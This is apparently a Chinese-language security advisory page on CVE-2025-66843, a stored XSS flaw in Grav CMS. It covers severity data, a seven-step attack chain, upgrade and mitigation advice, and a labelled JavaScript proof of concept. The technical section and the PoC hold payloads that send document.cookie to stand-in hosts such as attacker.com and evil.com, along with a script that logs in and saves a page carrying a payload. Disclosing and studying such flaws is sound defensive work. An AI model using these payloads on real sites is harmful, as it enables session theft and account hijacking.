IPBUF安全漏洞报告
English
CVE-2025-66843 CVSS 5.4 中危

CVE-2025-66843: Grav CMS 存储型XSS漏洞

披露日期: 2025-12-15

漏洞信息

漏洞编号
CVE-2025-66843
漏洞类型
存储型XSS
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
Grav CMS

相关标签

存储型XSSCross-Site ScriptingGrav CMSCVE-2025-66843内容管理系统Web安全漏洞权限绕过会话劫持中危漏洞PHP

漏洞概述

CVE-2025-66843是Grav CMS中一个中危级别的存储型跨站脚本(Stored XSS)漏洞。Grav是一个基于PHP的现代化平面文件CMS系统,广泛用于构建各类网站。该漏洞存在于页面编辑功能中,攻击者可以利用此漏洞在服务器端存储恶意JavaScript代码。当其他用户访问或编辑受影响的页面时,恶意脚本会在其浏览器中执行,从而实现窃取会话Cookie、劫持用户账号、修改页面内容或进行钓鱼攻击等恶意操作。攻击的成功需要满足以下条件:攻击者必须是已认证用户,且拥有编辑内容的权限。由于payload存储在服务器端,所有访问受影响页面的用户都会受到攻击,这使得该漏洞的危害范围较大。建议受影响的Grav用户尽快升级到v1.7.49.5或更高版本以修复此安全问题。

技术细节

该漏洞的根本原因在于Grav CMS的页面编辑功能对用户输入的过滤和转义不充分。攻击者以低权限认证用户身份登录系统后,在创建或编辑页面时,可以在标题、内容或元数据等可编辑字段中注入包含JavaScript代码的payload。由于系统未对这些字段进行严格的HTML实体编码或内容安全策略(CSP)验证,恶意脚本被直接存储在服务器的页面文件中。当其他用户访问该页面或通过管理后台编辑该页面时,浏览器会解析并执行存储的JavaScript代码。攻击者可以利用document.cookie获取用户的会话信息,通过XMLHttpRequest或fetch API将窃取的数据发送到外部服务器。由于Grav使用会话cookie进行身份验证,攻击者获取cookie后可劫持受害者账号,执行任意操作如修改内容、添加新用户或植入更多恶意代码。漏洞利用的关键在于绕过输入过滤机制,常见的payload形式包括:<img src=x onerror=alert(document.domain)>、<svg onload=fetch('https://attacker.com/?c='+document.cookie)>等。修复版本v1.7.49.5增加了输入验证和输出编码,确保用户输入在显示前被正确转义。

攻击链分析

STEP 1
步骤1:信息收集与侦察
攻击者识别目标网站使用的Grav CMS版本,确认版本低于v1.7.49.5,并检查页面编辑功能的访问权限要求
STEP 2
步骤2:获取低权限账号
攻击者注册新账号或使用已有低权限账号登录系统,确保拥有内容编辑权限
STEP 3
步骤3:构造恶意Payload
攻击者构造包含JavaScript代码的XSS payload,常见形式如<img src=x onerror=fetch(...)>或<svg onload=alert()>
STEP 4
步骤4:注入恶意代码
通过页面编辑功能将payload插入到页面标题、内容或元数据字段中,提交保存到服务器
STEP 5
步骤5:等待受害者触发
payload已永久存储在服务器上,任何访问该页面的用户都会触发XSS,包括管理员
STEP 6
步骤6:执行恶意操作
受害者浏览器执行恶意JavaScript,可能窃取会话Cookie、跳转钓鱼页面或执行其他未授权操作
STEP 7
步骤7:账号劫持
攻击者获取窃取的Cookie后,可冒充受害者身份登录系统,进一步扩大攻击范围

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-66843 Stored XSS PoC for Grav CMS // Author: Security Researcher // Target: Grav CMS < v1.7.49.5 // Step 1: Authenticate with low-privileged account const loginUrl = 'https://target-site.com/grav/admin'; const credentials = { 'username': 'attacker_user', 'password': 'attacker_password' }; // Step 2: Create new page with XSS payload const pageTitle = '<img src=x onerror=fetch(`https://attacker.com/steal?c=${document.cookie}`)>'; const pageContent = '<h1>Injected Content</h1><script>console.log("XSS Executed")</script>'; // Step 3: Payload variations const payloads = [ '<svg onload=alert(document.domain)>', '<img src=x onerror=document.location="https://evil.com/log?"+document.cookie>', '<iframe src="javascript:fetch(\'https://attacker.com?data=\'+btoa(document.cookie))">', '<body onload=fetch("https://attacker.com/exfil?cookie="+encodeURIComponent(document.cookie))>' ]; // Step 4: Send malicious page to server async function exploitGravXSS() { // Login request const loginResponse = await fetch(loginUrl + '/task:login', { method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/x-www-form-urlencoded'}, body: new URLSearchParams(credentials) }); // Create page with XSS payload const createPageUrl = loginUrl + '/task:save'; const pageData = { 'page[title]': payloads[0], 'page[content]': pageContent, 'page[route]': '/malicious-page', 'page[template]': 'default' }; const saveResponse = await fetch(createPageUrl, { method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(pageData) }); return saveResponse.ok; } // Step 5: When victim views the page, cookie is stolen automatically // The stored XSS payload executes in victim's browser context

影响范围

Grav CMS < v1.7.49.5
所有低于1.7.49.5的grav版本

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1)禁用或限制低权限用户的内容编辑功能,仅允许管理员编辑页面;2)在Web服务器层面配置XSS防护规则,过滤常见的XSS特征字符如<、>、'、"等;3)部署内容安全策略(CSP)响应头,限制脚本来源;4)加强对用户输入的HTML净化处理,使用DOMPurify等库进行服务端过滤;5)监控日志中的异常请求模式,及时发现攻击行为。建议在完成升级前,限制非管理员用户访问页面编辑功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表